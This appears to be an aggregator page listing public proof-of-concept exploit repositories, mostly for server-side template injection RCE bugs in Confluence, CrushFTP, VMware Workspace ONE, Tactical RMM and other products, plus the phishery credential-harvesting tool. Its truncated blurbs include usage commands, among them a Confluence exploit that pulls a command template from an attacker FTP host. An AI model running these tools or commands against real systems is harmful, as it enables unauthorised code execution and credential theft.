CVE-2019-3396

CVE-2019-3396 CVE-2019-3396 confluence SSTI RCE 🔎 CVE-2019-3396 とは？ Atlassian の重大な Confluence バグ です。 タイプ: テンプレートインジェクション + パストラバーサル リスク: ログインなしのリモートコード実行 RCE ステータス: 実環境で悪用済み 🛑 影響を受けるバージョン 6.6.0 → 6.6.11 ❌ 脆弱 6.6.12 ✅ 修正済み 6.12.0 → 6.12.2 ❌ 脆弱 6.12.3 ✅ 修正済み 6.13.0 → 6.13.2 ❌ 脆弱 6.13.3 ✅ 修正済み 6.14....

CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - リモートコード実行 RCE サーバーサイドテンプレートインジェクション SSTI エクスプロイト!! 1. タイトル 脆弱なWebアプリケーションにおけるサーバーサイドテンプレートインジェクション SSTI を介したリモートコード実行 2. 説明 このエクスプロイトは、サーバーサイドテンプレートインジェクション SSTI...

POC_CVE-2025-14700

CVE-2025-14700 PoC for CVE-2025-14700 , a Server-Side Template Injection SSTI vulnerability in Crafty Controller = 4.6.1. This vulnerability allows authenticated users to achieve Remote Code Execution RCE by injecting malicious Jinja2 templates into the Webhook configuration. 📦 Installation...

Rejetto-HFS-2.x-RCE-CVE-2024-23692

Un SSTI sin autenticación en el Rejetto HTTP File Server HFS. PoC del descubridor original: https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/ Probado contra las versiones: 2.4.0 RC7, 2.3m Ejemplo de uso: root@kitploit: msf6 use exploit/windows/http/rejettohfsrcecve2024236...

CVE-2024-4040

Código de explotación para CVE-2024-4040 Descripción general Este código de explotación se dirige a la vulnerabilidad CVE-2024-4040, permitiendo el acceso no autorizado a cuentas de usuario mediante la lectura y validación de tokens almacenados en el archivo "sessions.obj". Si los tokens son...

phishery

phishery Phishery es un servidor HTTP simple con SSL habilitado cuyo propósito principal es obtener credenciales mediante Autenticación Básica. Phishery también proporciona la capacidad de inyectar fácilmente la URL en un documento Word .docx. El poder de phishery se demuestra mejor configurando ...

CVE-2025-47916

CVE-2025-47916 - Vulnerabilidad de Ejecución Remota de Código RCE en Invision Community Acerca de Este repositorio proporciona una descripción de prueba de concepto para CVE‑2025‑47916 , una vulnerabilidad de Ejecución Remota de Código que afecta a las versiones 5.0.0 a 5.0.6 de Invision Communit...

SSTI-Exploit-Detector

SSTI-Exploit-Detector SSTI Exploit Detector es una herramienta diseñada para detectar posibles vulnerabilidades de Server-Side Template Injection SSTI en aplicaciones web. SSTI-Exploit-Detector Jenderal92 Características Archivo de payloads personalizado : Permite a los usuarios añadir sus propio...

CVE-2022-22954

CVE-2022-22954 PoC RCE en VMware Workspace ONE Access e Identity Manager mediante SSTI. CVE-2022-22954 - PoC SSTI Uso: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | fi...

CVE-2025-69516

CVE-2025-69516 - Tactical RMM Remote Code Execution This repository contains a Python script that automates the exploitation of the CVE-2025-69516 SSTI vulnerability in Tactical RMM. It has been tested on version 1.3.1. Usage root@kitploit: python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id...

CVE-2024-6386-WPML-SSTI

Este repositorio no tiene un README...

CVE-2024-4040

CVE-2024-4040 Una vulnerabilidad de inyección de plantillas del lado del servidor en CrushFTP en todas las versiones anteriores a 10.7.1 y 11.1.0 en todas las plataformas permite a atacantes remotos no autenticados leer archivos del sistema de archivos fuera del VFS Sandbox, eludir la autenticaci...

GenCrushSSTIExploit

ES GenCrushSSTIExploit es una herramienta de explotación PoC dirigida a la vulnerabilidad SSTI Server-Side Template Injection en CrushFTP CVE-2024-4040. Esta herramienta demuestra cómo explotar esta vulnerabilidad únicamente con fines educativos y de hacking ético. Características Establece una...

VMWare_CVE-2022-22954

VMWareCVE-2022-22954 CVE-2022-22954 is a server-side template injection vulnerability in the VMware Workspace ONE Access and Identity Manager Shodan Search result PoC Follow Youtube Twitter...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、pon el cmd.vm en tu sitio web debe usar ftp o https ,http no funciona 2、modifica RCEexp.py ，cambia el nombre de archivo = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python...

CVE-2022-29078

CVE-2022-29078 vulnerabilidad ejs 3.1.6 docker Configuración root@kitploit: git clone https://github.com/miko550/CVE-2022-29078.git cd CVE-2022-29078 docker build . -t miko/vuln-ejs docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs Uso root@kitploit: http://127.0.0.1:49160/ Explotación En...

CVE-2019-5418

CVE-2019-5418 sandbox https://groups.google.com/forum/!msg/rubyonrails-security/zRNVOUhKHrg/GmmcVXcmAAAJ inicializar root@kitploit: $ git clone https://github.com/takeokunn/CVE-2019-5418 $ cd https://github.com/takeokunn/CVE-2019-5418 $ docker-compose up Uso root@kitploit: $ curl localhost/sandbo...

CVE-2021-46362

CVE-2021-46362: Inyección de plantillas del lado del servidor FreeMarker en Magnolia CMS Una vulnerabilidad de inyección de plantillas del lado del servidor SSTI en los formularios de Registro y Contraseña Olvidada de Magnolia v6.2.3 y versiones anteriores permite a atacantes no autenticados...

CVE-2022-40634

CVE-2022-40634: Inyección de plantillas del lado del servidor de FreeMarker en CrafterCMS Al insertar contenido malicioso en una plantilla FTL, un atacante puede realizar ataques SSTI Server-Side Template Injection, que pueden aprovechar los objetos expuestos de FreeMarker para eludir restriccion...

CVE-2026-33937-for-DarkZeroReturns

POC for CVE-2026-33937 this is a poc for CVE-2026-33937 that was made with AI in order to exploit the Handelbars vulnerability in the Box DarkZeroRetuns the original poc https://github.com/EQSTLab/CVE-2026-33937/blob/main/exploit.py but it doesn't work for this specific box the poc was written by...